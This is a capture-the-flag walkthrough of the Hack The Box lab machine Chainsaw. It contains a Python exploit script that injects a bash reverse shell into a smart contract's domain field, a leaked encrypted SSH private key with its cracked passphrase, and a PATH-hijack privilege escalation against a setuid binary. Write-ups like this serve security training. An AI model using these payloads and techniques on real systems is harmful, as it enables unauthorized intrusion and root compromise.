This post documents the complete walkthrough of Chainsaw, a retired vulnerable VM created by artikrh & absolutezero and hosted at Hack The Box

 

1-chainsaw.png

 

  Operating System Static IP
Technical Specifications Ubuntu Server 10.10.10.142

 

Executive Summary
This document contains written techniques to successfully exploit and penetrate the Chainsaw box, starting from command injection based on information from a smart contract, using InterPlanetary File System protocol to retrieve private keys, followed by escalating to root shell through a vulnerbility in SETUID binaries, and finally performing file system forensics to get the root flag hidden in slack space

 

❯ Exploitation Phases

  • Information Gathering
  • Command Injection
  • Local Enumeration
  • Privilege Escalation
  • Forensics

 

❯ Machine Maker(s)

 

❯ init.sh

Add the box IP address to /etc/hosts

    # HTB 
      
    10.10.10.142    chainsaw.htbcat nmap/chainsaw.nmap

❯ Information gathering

Starting with a full nmap scan to find the open ports on the box

     nmap -sC -p- -oA ./nmap/chainsaw -T4 chainsaw.htb
  • -sC : Run default scripts
  • -p- : Port scan all ports
  • -oA : Output to all formats
  • -T4 : Aggressive (4) speeds scans
Result:

     nmap -sC -p- -oA ./nmap/chainsaw -T4 chainsaw.htb
    Nmap scan report for chainsaw.htb (10.10.10.142)
    Host is up (0.039s latency).
    Not shown: 65532 closed ports
    PORT     STATE SERVICE VERSION
    21/tcp   open  ftp     vsftpd 3.0.3
    | ftp-syst: 
    |   STAT: 
    | FTP server status:
    |      Connected to ::ffff:10.10.14.98105
    |      Logged in as ftp
    |      TYPE: ASCII
    |      No session bandwidth limit
    |      Session timeout in seconds is 300
    |      Control connection is plain text
    |      Data connections will be plain text
    |      At session startup, client count was 1
    |      vsFTPd 3.0.3 - secure, fast, stable
    22/tcp   open  ssh     OpenSSH 7.7p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
    9810/tcp open  unknown
    ...
  • Open ports:
    • 21 : FTP, 22 : SSH, 9810 : unknown

There seem to be three services running on the box.

 

❯ FTP enumeration

     ftp -i chainsaw.htb
    Connected to chainsaw.htb.
    220 (vsFTPd 3.0.3)
    Name (chainsaw.htb:vagrant): ftp
    331 Please specify the password.
    Password:
    230 Login successful.
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp> ls
    200 PORT command successful. Consider using PASV.
    150 Here comes the directory listing.
    -rw-r--r--    1 1001     1001        23828 Dec 05  2018 WeaponizedPing.json
    -rw-r--r--    1 1001     1001          243 Dec 12  2018 WeaponizedPing.sol
    -rw-r--r--    1 1001     1001           44 Nov 23 18:16 address.txt
    226 Directory send OK.

Anonymous login is enabled (password is empty) . inside the FTP server there is 3 files WeaponizedPing.json , WeaponizedPing.sol , address.txt.

Download the files locally to view their content:

    ftp> get WeaponizedPing.json
    ftp> get WeaponizedPing.sol
    ftp> get address.txt

by checking the content of the files

2-ftp.png

the code in WeaponizedPing.sol seems to be written for Solidity version 0.4024 that represents a Solidity contract. A contract in Solidity is a collection if code (its functions) and data (its state) that resides at a specific address on the Ethereum blockchain. There are two functions implemented in the contract, getDomain() which returns the value of the stored variable (“google.com”) and setDomain() which allows you to override the value stored on the blockchain.

The other file WeaponizedPing.json (not shown here becasue its too large) is a JSON configuration file for the smart contract, and address.txt is the address of the contract used to fetch or set the storage (the domain). I looked up the address on etherscan.io shows that is a valid address

3-eth.png

we can find the source path in WeaponizedPing.json

    38      "sourcePath": "/opt/WeaponizedPing/WeaponizedPing.sol",
    39      "ast": {
    40        "absolute-Path": "/opt/WeaponizedPing/WeaponizedPing.sol",
    41        "exportedSymbols": {
    42          "WeaponizedPing": [
    43            80
    44          ]recon

If we were to guess based on the file name WeaponizedPing it might be a ping service that tests the reachability of a domain or an IP address. we might be able to do command injection using WeaponizedPing

 

❯ Exploitation

Connecting to port 9810 returns connection refused

     curl chainsaw.htb 9810   
    curl: (7) Failed to connect to chainsaw.htb port 80: Connection refused
    curl: (7) Couldn't connect to server

From the information gathered in the reconnaissance phase and the mention of Ethereum blockchain this port might be an RPC interface for Ethereum clients.

Next we need to modify and manipulate the domain value in WeaponizedPing using the Python library Web3.py

Web3.py is a python library for interacting with Ethereum. Its API is derived from the Web3.js Javascript API and should be familiar to anyone who has used web3.js.

I wrote a script to excute commands on the box using the functions getDomain(), setDomain() defined in WeaponizedPing.sol

    #! /usr/bin/python3
    from web3 import Web3, HTTPProvider
    import json, subprocess
    
    print("[*] loading config..")
    contract_address = '0x71cF71565595a69F5aEa1BbDFE052dE975d43264'
    contract_data = json.loads(open('WeaponizedPing.json', 'r').read())
    abi = contract_data['abi'] # Application Binary Interface (WeaponizedPing.json:)
    
    
    print("[*] Connecting..")
    w3 = Web3(HTTPProvider('http://chainsaw.htb:9810'))
    
    print("[!] Accounts:")
    for account w3.eth.accounts:
        print(f"\t{account}")
    
    print("[*] Setting default account..")
    w3.eth.defaultAccount = w3.eth.accounts[0]
    contract = w3.eth.contract(abi=abi, address=contract_address)
    
    domain = contract.functions.getDomain().call()
    print(f"[*] Current domain: {domain}")
    
    print("[!] sending bash reverse shell..")
    ip = '10.10.14.5' # Change
    port = 3380 # change
    shell = f"{ip}; bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'"
    print(f"[*] shell: {shell}")
    contract.functions.setDomain(shell).transact()
    # Start netcat handler for reverse shell
    subprocess.call([f"nc -lvnp {port}"], shell=True, stderr=subprocess.STDOUT)

run the script

4-shell.png

we got a shell

    administrator@chainsaw:/opt/WeaponizedPing$ ls -alh
    ls -alh
    total 24K
    drwxr-xr-x 4 administrator administrator 4.0K Jan 23  2019 .
    drwxr-xr-x 3 root          root          4.0K Dec  5  2018 ..
    -rwxr-xr-x 1 administrator administrator 2.1K Jan 22  2019 main.py
    drwxr-xr-x 2 administrator administrator 4.0K Dec 13  2018 __pycache__
    -rwxr-xr-x 1 administrator administrator  379 Dec 13  2018 runganache.py
    drwxr-xr-x 2 administrator administrator 4.0K Nov 23 18:16 shared

next spawn a tty using the command


    administrator@chainsaw$ python -c "import pty;pty.spawn('/bin/bash')"

now press CTRL+z to background the process and in your terminal execute the command

    $ stty raw -echo

this will enable us to use tab completion and backspace (press CTRL+z then enter to get back into the box).

 

❯ Local Enumeration

    administrator@chainsaw:/opt/WeaponizedPing$ ls -a
    ls -a
    .  ..  main.py  __pycache__  runganache.py  shared

looks like a web application.

    administrator@chainsaw:/opt/WeaponizedPing$ cat runganache.py
    cat runganache.py
    import os,subprocess
    import socket
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(2)
    result = sock.connect_ex(('127.0.0.1',9810))
    
    if result != 0:
    	FNULL = open(os.devnull, 'w')
    	subprocess.Popen(["node /usr/local/bin/ganache-cli -h 0.0.0.0 -p 9810"], shell=True, stdout=FNULL, stderr=subprocess.STDOUT)
    else:
    	print('Ganache CLI is already running!')

from the file contact we find out that Ganache CLI is whats listening on port 9810

Ganache CLI uses ethereumjs to simulate full client behavior and make developing Ethereum applications faster, easier, and safer. It also includes all popular RPC functions and features (like events) and can be run deterministically to make development a breeze.

the file [main.py](http://main.py) contains the source code. The source code calls exec without sanatizing the input thats why we were able to use command injection

    # The vulnerable part of the code
    subprocess.Popen(['ping -c 1 {}'.format(newDomain)], shell=True, stderr=subprocess.STDOUT)

By navigating to /home we find another user on the box bobby

    administrator@chainsaw:/opt/WeaponizedPing$ cd /home	
    cd /home
    administrator@chainsaw:/home$ ls -alh
    ls -alh
    total 16K
    drwxr-xr-x  4 root          root          4.0K Dec 12  2018 .
    drwxr-xr-x 25 root          root          4.0K Dec 20  2018 ..
    drwxr-x---  8 administrator administrator 4.0K Dec 20  2018 administrator
    drwxr-x---  9 bobby         bobby         4.0K Jan 23  2019 bobby
    administrator@chainsaw:/home$ cd ./bobby
    cd ./bobby
    bash: cd: ./bobby: Permission denied

looks like we don’t have permission to access bobby’s direcotry. A quick overview of administrator’s home folder, we will notice a CSV file, a maintain directory and a couple of hidden directories.

    administrator@chainsaw:/home/administrator$ ls -alh
    ls -alh
    total 104K
    drwxr-x--- 8 administrator administrator 4.0K Dec 20  2018 .
    drwxr-xr-x 4 root          root          4.0K Dec 12  2018 ..
    lrwxrwxrwx 1 administrator administrator    9 Dec 12  2018 .bash_history -> /dev/null
    -rw-r----- 1 administrator administrator  220 Dec 12  2018 .bash_logout
    -rw-r----- 1 administrator administrator 3.7K Dec 12  2018 .bashrc
    -rw-r----- 1 administrator administrator  220 Dec 20  2018 chainsaw-emp.csv
    drwxrwxr-x 5 administrator administrator 4.0K Jan 23  2019 .ipfs
    drwxr-x--- 3 administrator administrator 4.0K Dec 12  2018 .local
    drwxr-x--- 3 administrator administrator 4.0K Dec 13  2018 maintain
    drwxr-x--- 2 administrator administrator 4.0K Dec 12  2018 .ngrok2
    -rw-r----- 1 administrator administrator  807 Dec 12  2018 .profile
    drwxr-x--- 2 administrator administrator 4.0K Dec 12  2018 .ssh
    drwxr-x--- 2 administrator administrator 4.0K Dec 12  2018 .swt
    -rw-r----- 1 administrator administrator 1.7K Dec 12  2018 .tmux.conf
    -rw-r----- 1 administrator administrator  45K Dec 12  2018 .zcompdump
    lrwxrwxrwx 1 administrator administrator    9 Dec 12  2018 .zsh_history -> /dev/null
    -rw-r----- 1 administrator administrator 1.3K Dec 12  2018 .zshrc

chainsaw-emp.csv

    administrator@chainsaw:/home/administrator$ cat chainsaw-emp.csv 
    cat chainsaw-emp.csv
    Employees,Active,Position
    arti@chainsaw,No,Network Engineer
    bryan@chainsaw,No,Java Developer
    bobby@chainsaw,Yes,Smart Contract Auditor
    lara@chainsaw,No,Social Media Manager
    wendy@chainsaw,No,Mobile Application Developer

The CSV file holds information about Chainsaw employees with their usernames, role status, and role descriptions. It seems that only the user bobby , who is a smart contract auditor, is the only one active at the moment. We need to escalate to bobby to get the user flag

we can verify that by looking into /home and /etc/passwd

    administrator@chainsaw:/home/administrator$ cat /etc/passwd
    cat /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    ...
    bobby:x:1000:1000:Bobby Axelrod:/home/bobby:/bin/bash
    lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
    ftp:x:110:114:ftp daemon,,,:/opt/WeaponizedPing/shared:/usr/sbin/nologin
    administrator:x:1001:1001:Chuck Rhoades,,,,IT Administrator:/home/administrator:/bin/bash
    arti:x:997:996::/home/arti:/bin/false
    lara:x:996:995::/home/lara:/bin/false
    bryan:x:995:994::/home/bryan:/bin/false
    wendy:x:994:993::/home/wendy:/bin/false

The maintain directory contains a script [gen.py](http://gen.py) and the directory pub

    administrator@chainsaw:/home/administrator$ ls -alh ./maintain
    ls -alh ./maintain
    total 16K
    drwxr-x--- 3 administrator administrator 4.0K Dec 13  2018 .
    drwxr-x--- 8 administrator administrator 4.0K Dec 20  2018 ..
    -rwxr-x--- 1 administrator administrator  649 Dec 13  2018 gen.py
    drwxrwxr-x 2 administrator administrator 4.0K Dec 13  2018 pub

gen.py

    administrator@chainsaw:/home/administrator/maintain$ cat gen.py
    cat gen.py
    #!/usr/bin/python
    from Crypto.PublicKey import RSA
    from os import chmod
    import getpass
    
    def generate(username,password):
    	key = RSA.generate(2048)
    	pubkey = key.publickey()
    
    	pub = pubkey.exportKey('OpenSSH')
    	priv = key.exportKey('PEM',password,pkcs=1)
    
    	filename = "{}.key".format(username)
    
    	with open(filename, 'w') as file:
    		chmod(filename, 0600)
    		file.write(priv)
    		file.close()
    
    	with open("{}.pub".format(filename), 'w') as file:
    		file.write(pub)
    		file.close()
    
    	# TODO: Distribute keys via ProtonMail
    
    if __name__ == "__main__":
    	while True:
    		username = raw_input("User: ")
    		password = getpass.getpass()
    		generate(username,password)

The directory pub seems to contain employees public RSA keys (which were probably generated from the gen.py script – which also generates encrypted private keys, except, they are missing).

    administrator@chainsaw:/home/administrator/maintain$ ls -alh ./pub	
    ls -alh ./pub
    total 28K
    drwxrwxr-x 2 administrator administrator 4.0K Dec 13  2018 .
    drwxr-x--- 3 administrator administrator 4.0K Dec 13  2018 ..
    -rw-rw-r-- 1 administrator administrator  380 Dec 13  2018 arti.key.pub
    -rw-rw-r-- 1 administrator administrator  380 Dec 13  2018 bobby.key.pub
    -rw-rw-r-- 1 administrator administrator  380 Dec 13  2018 bryan.key.pub
    -rw-rw-r-- 1 administrator administrator  380 Dec 13  2018 lara.key.pub
    -rw-rw-r-- 1 administrator administrator  380 Dec 13  2018 wendy.key.pub

among hidden directories in /home/administrator, there is a configuration file called .ipfs seels like an interesting one which may give us the neccessary information to proceed further in this box.

InterPlanetary File System: The InterPlanetary File System is a protocol and peer-to-peer network for storing and sharing data in a distributed file system. IPFS uses content-addressing to uniquely identify each file in a global namespace connecting all computing devices. IPFS Documentation: https://docs.ipfs.io/

using the command [ipfs refs local](https://docs.ipfs.io/reference/api/cli/#ipfs-refs-local) we can display the hashes of all local objects

    administrator@chainsaw:/home/administrator$ ipfs refs local
    ipfs refs local
    QmYCvbfNbCwFR45HiNP45rwJgvatpiW38D961L5qAhUM5Y
    ...
    QmZZRTyhDpL5Jgift1cHbAhexeE1m2Hw8x8g7rTcPahDvo
    QmUH2FceqvTSAvn6oqm8M49TNDqowktkEx4LgpBx746HRS
    QmcMCDdN1qDaa2vaN654nA4Jzr6Zv9yGSBjKPk26iFJJ4M
    QmPZ9gcCEpqKTo6aq61g2nXGUhM4iCL3ewB6LDXZCtioEB
    Qmc7rLAhEh17UpguAsEyS4yfmAbeqSeSEz4mZZRNcW52vV

using a simple bash for loop and by compaining the command with ipfs ls to list the content of the IPFS object(s)

    administrator@chainsaw:/home/administrator$ for i in $(ipfs refs local); do ipfs ls $i  2>/dev/null; done
    <(ipfs refs local); do ipfs ls $i  2>/dev/null; done
    QmXWS8VFBxJPsxhF8KEqN1VpZf52DPhLswcXpxEDzF5DWC 391 arti.key.pub
    QmPjsarLFBcY8seiv3rpUZ2aTyauPF3Xu3kQm56iD6mdcq 391 bobby.key.pub
    QmUHHbX4N8tUNyXFK9jNfgpFFddGgpn72CF1JyNnZNeVVn 391 bryan.key.pub
    QmUH2FceqvTSAvn6oqm8M49TNDqowktkEx4LgpBx746HRS 391 lara.key.pub
    QmcMCDdN1qDaa2vaN654nA4Jzr6Zv9yGSBjKPk26iFJJ4M 391 wendy.key.pub
    QmZrd1ik8Z2F5iSZPDA2cZSmaZkHFEE4jZ3MiQTDKHAiri 45459 mail-log/
    QmbwWcNc7TZBUDFzwW7eUTAyLE2hhwhHiTXqempi1CgUwB 10063 artichain600-protonmail-2018-12-13T20_50_58+01_00.eml
    QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF 4640  bobbyaxelrod600-protonmail-2018-12-13-T20_28_54+01_00.eml
    QmZxzK6gXioAUH9a68ojwkos8EaeANnicBJNA3TND4Sizp 10084 bryanconnerty600-protonmail-2018-12-13T20_50_36+01_00.eml
    QmegE6RZe59xf1TyDdhhcNnMrsevsfuJHUynLuRc4yf6V1 10083 laraaxelrod600-protonmail-2018-12-13T20_49_35+01_00.eml
    QmXwXzVYKgYZEXU1dgCKeejT87Knw9nydGcuUZrjwNb2Me 10092 wendyrhoades600-protonmail-2018-12-13T20_50_15+01_00.eml
    QmZTR5bcpQD7cFgTorqxZDYaew1Wqgfbd2ud9QqGPAkK2V 1688 about
    QmYCvbfNbCwFR45HiNP45rwJgvatpiW38D961L5qAhUM5Y 200  contact
    QmY5heUM5qgRubMDD1og9fhCPA6QdkMp3QCwd4s7gJsyE7 322  help
    QmejvEPop4D7YUadeGqYWmZxHhLc4JBUCzJJHWMzdcMe2y 12   ping
    QmXgqKTbzdh83pQtKFb19SpMCpDDcKR2ujqk3pKph9aCNF 1692 quick-start
    QmPZ9gcCEpqKTo6aq61g2nXGUhM4iCL3ewB6LDXZCtioEB 1102 readme
    QmQ5vhrL7uv6tuoN9KeVBwd4PwfQkXdVVmDLUZuTNxqgvm 1173 security-notes
    QmWMuEvh2tGJ1DiNPPoN6rXme2jMYUixjxsC6QUji8mop8 2996 maintain/
    QmXymZCHdTHz5BA5ugv9MQTBtQAb6Vit4iFeEnuRj6Udrh 660  gen.py
    QmPctBY8tq2TpPufHuQUbe2sCxoy2wD5YRB6kdce35ZwAx 2237 pub/
    QmYn3NxLLYA6xU2XL1QJfCZec4B7MpFNxVVtDvqbiZCFG8 231 chainsaw-emp.csv

we notice a mail log directory mail-log/ which contains some emails (.eml) sent to employees and stored in the blockchain.Form out enumeration earlier we know that we need to access bobby’s directory to get the user flag (the only active employee).

we can view the content of bobby’s email bobbyaxelrod600-protonmail-2018-12-13-T20_28_54+01_00.eml using ipfs cat and the email hash

    $ ipfs cat QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
    ...
    Subject: Ubuntu Server Private RSA Key
    From: IT Department <chainsaw_admin@protonmail.ch>
    To: bobbyaxelrod600@protonmail.ch <bobbyaxelrod600@protonmail.ch>
    ...

The resulting content will display information about both email message header and email content which was sent from [email protected] to [email protected] .

The body part consists of a body message and an attachment included in the email – both encoded in Base64 by ProtonMail

we can see bobby’s email address in the file. the email content is encoded in base64 we can save it to a file and decode it

    administrator@chainsaw:/home/administrator$ base64 -d email.b64
    base64 -d email.b64
    Bobby,
    I am writing this email in reference to the method on how we access our Linux server
    from now on. Due to security reasons, we have disabled SSH password authentication
    and instead we will use private/public key pairs to securely and conveniently access the machine.
    Atached you will find your personal encrypted private key. 
    Please ask reception desk for your password, therefore be sure to bring your
     valid ID as always.
    Sincerely,
    IT Administration Department

the private key is the second part of the email in file named bobby.key.enc

we need to decode it from base64 using base64 -d bobby.key.enc then we need to crack it

    Attachment  bobby.key.enc  (decoded):
    -----BEGIN RSA PRIVATE KEY-----
    Proc-Type: 4,ENCRYPTED
    DEK-Info: DES-EDE3-CBC,53D881F299BA8503
    SeCNYw/BsXPyQq1HRLEEKhiNIVftZagzOcc64ff1IpJo9IeG7Z/zj+v1dCIdejuk
    7ktQFczTlttnrIj6mdBb6rnN6CsP0vbz9NzRByg1o6cSGdrL2EmJN/eSxD4AWLcz
    n32FPY0VjlIVrh4rjhRe2wPNogAciCHmZGEB0tgv2/eyxE63VcRzrxJCYl+hvSZ6
    fvsSX8A4Qr7rbf9fnz4PImIgurF3VhQmdlEmzDRT4m/pqf3TmGAk9+wriqnkODFQ
    I+2I1cPb8JRhLSz3pyB3X/uGOTnYp4aEq+AQZ2vEJz3FfX9SX9k7dd6KaZtSAzqi
    w981ES85Dk9NUo8uLxnZAw3sF7Pz4EuJ0Hpo1eZgYtKzvDKrrw8uo4RCadx7KHRT
    inKXduHznGA1QROzZW7xE3HEL3vxR9gMV8gJRHDZDMI9xlw99QVwcxPcFa31AzV2
    yp3q7yl954SCMOti4RC3Z4yUTjDkHdHQoEcGieFOWU+i1oij4crx1LbO2Lt8nHK6
    G1Ccq7iOon4RsTRlVrv8liIGrxnhOY295e9drl7BXPpJrbwso8xxHlT3333YU9dj
    hQLNp5+2H4+i6mmU3t2ogToP4skVcoqDlCC+j6hDOl4bpD9t6TIJurWxmpGgNxes
    q8NsAentbsD+xl4W6q5muLJQmj/xQrrHacEZDGI8kWvZE1iFmVkD/xBRnwoGZ5ht
    DyilLPpl9R+Dh7by3lPm8kf8tQnHsqpRHceyBFFpnq0AUdEKkm1LRMLAPYILblKG
    jwrCqRvBKRMIl6tJiD87NM6JBoQydOEcpn+6DU+2Actejbur0aM74IyeenrGKSSZ
    IZMsd2kTSGUxy9o/xPKDkUw/SFUySmmwiqiFL6PaDgxWQwHxtxvmHMhL6citNdIw
    TcOTSJczmR2pJxkohLrH7YrS2alKsM0FpFwmdz1/XDSF2D7ibf/W1mAxL5UmEqO0
    hUIuW1dRFwHjNvaoSk+frAp6ic6IPYSmdo8GYYy8pXvcqwfRpxYlACZu4Fii6hYi
    4WphT3ZFYDrw7StgK04kbD7QkPeNq9Ev1In2nVdzFHPIh6z+fmpbgfWgelLHc2et
    SJY4+5CEbkAcYEUnPWY9SPOJ7qeU7+b/eqzhKbkpnblmiK1f3reOM2YUKy8aaleh
    nJYmkmr3t3qGRzhAETckc8HLE11dGE+l4ba6WBNu15GoEWAszztMuIV1emnt97oM
    ImnfontOYdwB6/2oCuyJTif8Vw/WtWqZNbpey9704a9map/+bDqeQQ41+B8ACDbK
    WovsgyWi/UpiMT6m6rX+FP5D5E8zrYtnnmqIo7vxHqtBWUxjahCdnBrkYFzl6KWR
    gFzx3eTatlZWyr4ksvFmtobYkZVAQPABWz+gHpuKlrqhC9ANzr/Jn+5ZfG02moF/
    edL1bp9HPRI47DyvLwzT1/5L9Zz6Y+1MzendTi3KrzQ/Ycfr5YARvYyMLbLjMEtP
    UvJiY40u2nmVb6Qqpiy2zr/aMlhpupZPk/xt8oKhKC+l9mgOTsAXYjCbTmLXzVrX
    15U210BdxEFUDcixNiwTpoBS6MfxCOZwN/1Zv0mE8ECI+44LcqVt3w==
    -----END RSA PRIVATE KEY-----

Now that we managed to grab the private RSA key for user bobby , we need to decrypt it since it is protected with a passphrase (using triple DES as the encryption algorithm with CBC mode). We will use ssh2john to extract the hash, and john to brute force the value (which will eventually give us the password jackychain)

     /usr/share/john/ssh2john.py bobby.key.enc > bobby.key.enc.john
     john bobby.key.enc.john --wordlist=/usr/share/wordlists/rockyou.txt  
    Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
    Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) 
    jackychain       (bobby.key.enc)
    1g 0:00:00:09 DONE (2019-11-20 04:48) 0.1044g/s 1498Kp/s 1498Kc/s 1498KC/sa6_123..*7¡Vamos!
    Session completed

now that we know bobby’s password we can ssh as bobby

     chmod 600 bobby.key.enc 
    
     ssh -i bobby.key.enc bobby@chainsaw.htb         
    Enter passphrase for key 'bobby.key': jackychain
    bobby@chainsaw:~$ ls
    projects  resources  user.txt
    bobby@chainsaw:~$ wc -c user.txt 
    33 user.txt

we got the user flag

 

❯ Privilege Escalation

After we SSH in as bobby, we notice the following folders in his home directory:

  • projects – contains a folder named ChainsawClub
  • resources – contains some PDFs for the IPFS protocol (not important).

inside the directory ChainsawClub there is another smart contract this time it is longer in code and seems to make credit transactions. Besides the smart contract (ChainsawClub.sol) , there is its configuration file ( ChainsawClub.json) and a binary file with sticky bit set.

if we run ChainsawClub it asks for a username and a password. I tried to login with bobby:jackychain and it didn’t work

    bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub 
    
          _           _
         | |         (_)
      ___| |__   __ _ _ _ __  ___  __ ___      __
     / __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /
    | (__| | | | (_| | | | | \__ \ (_| |\ V  V /
     \___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/
                                                club
    
    - Total supply: 1000
    - 1 CHC = 51.08 EUR
    - Market cap: 51080 ()
    
    [*] Please sign up first and then log in!
    [*] Entry based on merit.
    
    Username: bobby
    Password: jackychain
    [*] Wrong credentials!
    Username:

instead of of dealilng with blockchain contracts the binary ChainsawClubis a setuid binary

Setuid, which stands for set user ID on execution, is a special type of file permission in Unix and Unix-like operating systems such as Linux and BSD. It is a security tool that permits users to run certain programs with escalated privileges. ex: sudo

    bobby@chainsaw:~/projects/ChainsawClub$ ls -alh
    total 160K
    ...
    -rwsr-xr-x 1 root  root   17K Jan 12  2019 ChainsawClub
    -rw-r--r-- 1 root  root  124K Jan 23  2019 ChainsawClub.json
    -rw-r--r-- 1 root  root  1.2K Jan 23  2019 ChainsawClub.sol

The SUID bit can be seen by looking at the permission string denoted with s in -rwsr-xr-x

every SUID executable offers a potential vector to escalate privilege, What I’m looking for is to try and get it to run code that I can control; there are several mechanisms for this which I can look at to see whether it is vulnerable, in order of ease of exploit:

  1. Look for unsanitized command line parameters directly passed to a system() call
  2. Look for unsanitized PATH variables directly passed to a system() call
  3. Look for unchecked data being loaded directly into static buffers
  4. Look for unchecked data being loaded directly into a heap buffer

The quickest way of assessing an executable for 1 or 2 is to simply to look for strings in the executable that indicate the behaviour I’m expecting.

We can use the strings command to analyze the binary

    bobby@chainsaw:~/projects/ChainsawClub$ strings ChainsawClub
    /lib64/ld-linux-x86-64.so.2
    libc.so.6
    setuid
    system
    __cxa_finalize
    __libc_start_main
    GLIBC_2.2.5
    _ITM_deregisterTMCloneTable
    __gmon_start__
    _ITM_registerTMCloneTable
    u/UH
    []A\A]A^A_
    sudo -i -u root /root/ChainsawClub/dist/ChainsawClub/ChainsawClub # here
    ;*3$"
    GCC: (Ubuntu 8.2.0-7ubuntu1) 8.2.0
    crtstuff.c
    deregister_tm_clones
    __do_global_dtors_aux
    completed.7930
    __do_global_dtors_aux_fini_array_entry
    frame_dummy
    ....

we can also use strace or ltrace

    bobby@chainsaw:~/projects/ChainsawClub$ ltrace ./ChainsawClub 
    setuid(0)                                                                = -1
    system("sudo -i -u root /root/ChainsawCl"...[sudo] password for bobby:

when debugging a binary with strace or ltrace it drops the ability to use setuid. When using ltrace the system calls the sudo command and if you don’t enter the pasword for sudo it will set the uid to 0 (root) and it excutes the command passed to system()

becasue only the binary name sudo was provided in the command above and not the full path

i.e/usr/bin/sudo we can do path injection

    bobby@chainsaw:~/projects/ChainsawClub$ which sudo 
    /usr/bin/sudo
    bobby@chainsaw:~/projects/ChainsawClub$ echo $PATH
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

the system will try to locate the binary for sudo by searching the paths in $PATH

we can create a simple bash script named sudo in the current directory and add it to our path


    bobby@chainsaw:~/projects/ChainsawClub$ cat > sudo
    #! /bin/bash
    bash
    ^C
    bobby@chainsaw:~/projects/ChainsawClub$ chmod +x ./sudo 
    bobby@chainsaw:~/projects/ChainsawClub$ export PATH=$(pwd):$PATH

now if we run the command which sudo we get a different result


    bobby@chainsaw:~/projects/ChainsawClub$ which sudo 
    /home/bobby/projects/ChainsawClub/sudo

now if we run the binary

    bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub 
    root@chainsaw:~/projects/ChainsawClub# cd /root/
    root@chainsaw:/root# whoami
    root

:D

After we get a root shell, if we print the content of root.txt we will get the following:

    root@chainsaw:/root# ls
    ChainsawClub  root.txt  snap
    root@chainsaw:/root# cat root.txt 
    Mine deeper to get rewarded with root coin (RTC)...

Looks like we need to do more digging for the root flag

 

❯ Forensics

we need further enumeration within the box. One of the last resorts after we run out of options for low hanging fruits, is to check default binaries paths in case there is an interesting program installed or programmed in the machine.

I usually list items based in reverse modified date and time since the default installed binaries are usually the oldest and not much of an interest. In the /sbin directory, we can notice an unusual program called bmap:

    bobby@chainsaw:~$ ls -ltr --group-directories-first /sbin 
    ...
    -rwxr-xr-x 1 root root     63824 Nov 30  2018 bmap
    ...

A google search about it will bring results related to a generic tool for creating the block map for a file or copying files using the block map, and digital forensics. In simple terms from operating system concepts, blocks are specific sized containers used by file system to store data. Blocks can also be defined as the smallest pieces of data that a file system can use to store information. Files can consist of a single or multiple block in order to fulfill the size requirements of the file. When data is stored in these blocks, two mutually exclusive conditions can occur:

  • The block is completely full – most optimal situation for the file system has occurred
  • The block is partially full – in which the area between the end of file content and the end of the container is referred to as slack space (in other words, null data)

From a forensic perspective, there is a GitHub repository which utilizes slack space in blocks to hide data (one of many interesting functions to the forensic community this tool can perform). In our Linux file system, we have a root.txt which contains 52 characters (52 bytes) from a total of 4096 bytes (4kb) block size. This means that slack space consists of 4044 bytes in which data can be hidden and not seen from tools such as cat . Because bmap is installed (which is the hint for the slack space technique), we are able to retrieve the root flag by showing slack space content:

    bmap --mode slack root.txt
    getting from block 1646490
    file size was: 52
    slack size: 4044
    block size

 

Public Profile